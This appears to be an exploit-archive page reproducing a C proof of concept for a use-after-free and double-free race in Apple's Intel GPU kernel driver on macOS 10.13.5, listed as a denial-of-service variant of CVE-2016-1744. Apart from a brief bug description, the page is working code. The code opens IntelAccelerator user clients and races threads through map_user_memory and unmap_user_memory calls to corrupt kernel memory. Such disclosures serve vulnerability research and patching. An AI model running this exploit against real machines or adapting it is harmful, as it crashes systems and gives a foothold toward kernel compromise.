Apple intel gpu driver useafterfree/doubledelete due to bad locking Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2018-10-22 | Type : dos | Platform : macos

---

[+] Code ...

/*
This PoC file might look familiar; this bug is a trivial variant of CVE-2016-1744 (Apple bug id 635599405.)

That report showed the bug in the unmap_user_memory external methods; a variant also exists
in the map_user_memory external methods.

The intel graphics drivers have their own hash table type IGHashTable which isn't thread-safe.

map_user_memory manipulates an IGHashTable without locking leading to memory issues (eg UaFs and/or double-frees)

tested on MacOS 10.13.5 (17F77) on MacBookPro10,1
*/

//ianbeer

// build: clang -o ig_gl_unmap_racer ig_gl_unmap_racer.c -framework IOKit

#if 0
UaF/Double-delete due to bad locking in Apple Intel GPU driver

This PoC file might look familiar; this bug is a trivial variant of CVE-2016-1744 (Apple bug id 635599405.)

That report showed the bug in the unmap_user_memory external methods; a variant also exists
in the map_user_memory external methods.

The intel graphics drivers have their own hash table type IGHashTable which isn't thread-safe.

map_user_memory manipulates an IGHashTable without locking leading to memory issues (eg UaFs and/or double-frees)

tested on MacOS 10.13.5 (17F77) on MacBookPro10,1

#endif

#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>

#include <mach/mach.h>
#include <mach/vm_map.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <IOKit/IOKitLib.h>


struct mem_desc {
uint64_t ptr;
uint64_t size;
};

uint64_t map_user_memory(mach_port_t conn) {
kern_return_t err;
void* mem = malloc(0x20000);
// make sure that the address we pass is page-aligned:
mem = (void*) ((((uint64_t)mem)+0x1000)&~0xfff);
printf("trying to map user pointer: %p\n", mem);

uint64_t inputScalar[16] = {0};
uint64_t inputScalarCnt = 0;

char inputStruct[4096] = {0};
size_t inputStructCnt = 0;

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[4096] = {0};
size_t outputStructCnt = 0;

inputScalarCnt = 0;
inputStructCnt = 0x10;

outputScalarCnt = 4096;
outputStructCnt = 16;

struct mem_desc* md = (struct mem_desc*)inputStruct;
md->ptr = (uint64_t)mem;
md->size = 0x1000;

err = IOConnectCallMethod(
conn,
0x200, // IGAccelGLContext::map_user_memory
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);

if (err != KERN_SUCCESS){
printf("IOConnectCall error: %x\n", err);
//return 0;
} else{
printf("worked? outputScalarCnt = %d\n", outputScalarCnt);
}

printf("outputScalarCnt = %d\n", outputScalarCnt);

md = (struct mem_desc*)outputStruct;
printf("0x%llx :: 0x%llx\n", md->ptr, md->size);

return (uint64_t)mem;
}

uint64_t unmap_user_memory(mach_port_t conn, uint64_t handle) {
kern_return_t err;

uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;

char inputStruct[4096];
size_t inputStructCnt = 0;

uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;

char outputStruct[4096];
size_t outputStructCnt = 0;

inputScalarCnt = 0;
inputStructCnt = 0x8;

outputScalarCnt = 4096;
outputStructCnt = 16;

*((uint64_t*)inputStruct) = handle;

err = IOConnectCallMethod(
conn,
0x201, // IGAccelGLContext::unmap_user_memory
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);

if (err != KERN_SUCCESS){
printf("IOConnectCall error: %x\n", err);
} else{
printf("worked?\n");
}

return 0;
}

mach_port_t get_user_client(char* name, int type) {
kern_return_t err;

CFMutableDictionaryRef matching = IOServiceMatching(name);
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}

io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}

io_service_t service = IOIteratorNext(iterator);

if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);


io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}

printf("got userclient connection: %x\n", conn);

return conn;
}

volatile mach_port_t gl_context = MACH_PORT_NULL;

#define N_HANDLES 40
void go(void* arg){
while (1) {
uint64_t handles[N_HANDLES] = {0};
for (int i = 0; i < N_HANDLES; i++) {
handles[i] = map_user_memory(gl_context);
}

for (int i = 0; i < N_HANDLES; i++) {
unmap_user_memory(gl_context, handles[i]);
}
}
}





int main(int argc, char** argv){
// get an IGAccelGLContext
gl_context = get_user_client("IntelAccelerator", 1);
printf("gl_context: %x\n", gl_context);

// get a IGAccelSharedUserClient
mach_port_t shared = get_user_client("IntelAccelerator", 6);
printf("shared: %x\n", shared);

// connect the gl_context to the shared UC so we can actually use it:
kern_return_t err = IOConnectAddClient(gl_context, shared);
if (err != KERN_SUCCESS){
printf("IOConnectAddClient error: %x\n", err);
return 0;
}

printf("added client to the shared UC\n");

#define N_THREADS 2
pthread_t threads[N_THREADS];

for (int i = 0; i < N_THREADS; i++) {
pthread_create(&threads[i], NULL, go, NULL);
}

pthread_join(threads[0], NULL);


return 0;


}